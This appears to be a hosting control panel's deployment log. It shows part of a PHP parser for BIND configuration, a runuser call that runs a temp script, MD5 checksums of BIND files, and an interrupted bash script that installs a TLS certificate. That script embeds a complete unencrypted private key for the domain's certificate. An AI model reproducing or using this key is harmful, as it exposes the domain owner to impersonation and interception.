		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 14:12:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp895980; rm /tmp/pkp895980'

2026-05-08 14:12:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 14:12:49: Establishing a connection
2026-05-08 14:12:50: 

PUT: /tmp/pkp686008

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
